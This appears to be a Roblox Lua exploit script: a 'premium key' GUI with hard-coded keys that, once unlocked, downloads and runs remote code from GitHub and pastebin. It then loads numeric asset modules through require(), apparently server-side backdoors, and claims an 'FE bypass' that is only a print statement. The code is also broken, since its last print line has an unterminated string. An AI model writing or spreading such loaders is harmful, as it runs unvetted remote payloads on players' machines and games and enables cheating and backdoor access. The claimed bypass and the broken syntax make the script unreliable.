--[[
F3XE Premium Key System (Local Example)
Replace the validKeys table with real keys you give to users
]]

local validKeys = {
    ["ABC123"] = true,
    ["XYZ789"] = true,
    ["MYKEYLOL"] = true,
}

local player = game.Players.LocalPlayer
local UserInputService = game:GetService("UserInputService")
local StarterGui = game:GetService("StarterGui")

-- GUI Creation
local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
gui.Name = "F3XEPremiumGui"
gui.ResetOnSpawn = false

local frame = Instance.new("Frame", gui)
frame.Position = UDim2.new(0.35, 0, 0.4, 0)
frame.Size = UDim2.new(0, 300, 0, 160)
frame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
frame.BorderColor3 = Color3.fromRGB(255, 0, 0)

local title = Instance.new("TextLabel", frame)
title.Text = "F3XE Premium Access"
title.Size = UDim2.new(1, 0, 0, 40)
title.TextColor3 = Color3.new(1, 1, 1)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextScaled = true

local textbox = Instance.new("TextBox", frame)
textbox.PlaceholderText = "Enter Premium Key..."
textbox.Position = UDim2.new(0.1, 0, 0.4, 0)
textbox.Size = UDim2.new(0.8, 0, 0, 30)
textbox.Text = ""
textbox.Font = Enum.Font.Code
textbox.TextScaled = true

local submit = Instance.new("TextButton", frame)
submit.Text = "Submit Key"
submit.Position = UDim2.new(0.3, 0, 0.7, 0)
submit.Size = UDim2.new(0.4, 0, 0, 30)
submit.BackgroundColor3 = Color3.fromRGB(0, 255, 0)
submit.TextColor3 = Color3.new(0, 0, 0)
submit.Font = Enum.Font.GothamBlack
submit.TextScaled = true

submit.MouseButton1Click:Connect(function()
    if validKeys[textbox.Text] then
        StarterGui:SetCore("SendNotification", {
            Title = "Access Granted!",
            Text = "Welcome to F3XE Premium.",
            Duration = 3
        })
        gui:Destroy()

        -- Load Premium Scripts
        loadstring(game:HttpGet("https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/RC7Duck"))()
        loadstring(game:HttpGet("https://pastebin.com/raw/8LyRsEPy"))()

        -- Require Scripts (user must input their username)
        -- Example: Replace 'YourUsernameHere' or allow input field later
        pcall(function()
            require(89529616632600)("YourUsernameHere", "Aizen")
            require(0x3603754d7)("User", "garou")
            require(14499140823)("User", "sorcerer")
            require(123255432303221).Pload("YourUsernameHere")
        end)

        -- FE bypass
        print("FE Bypass activated )
    else
        StarterGui:SetCore("SendNotification", {
            Title = "Access Denied",
            Text = "Invalid Premium Key.",
            Duration = 3
        })
    end
end)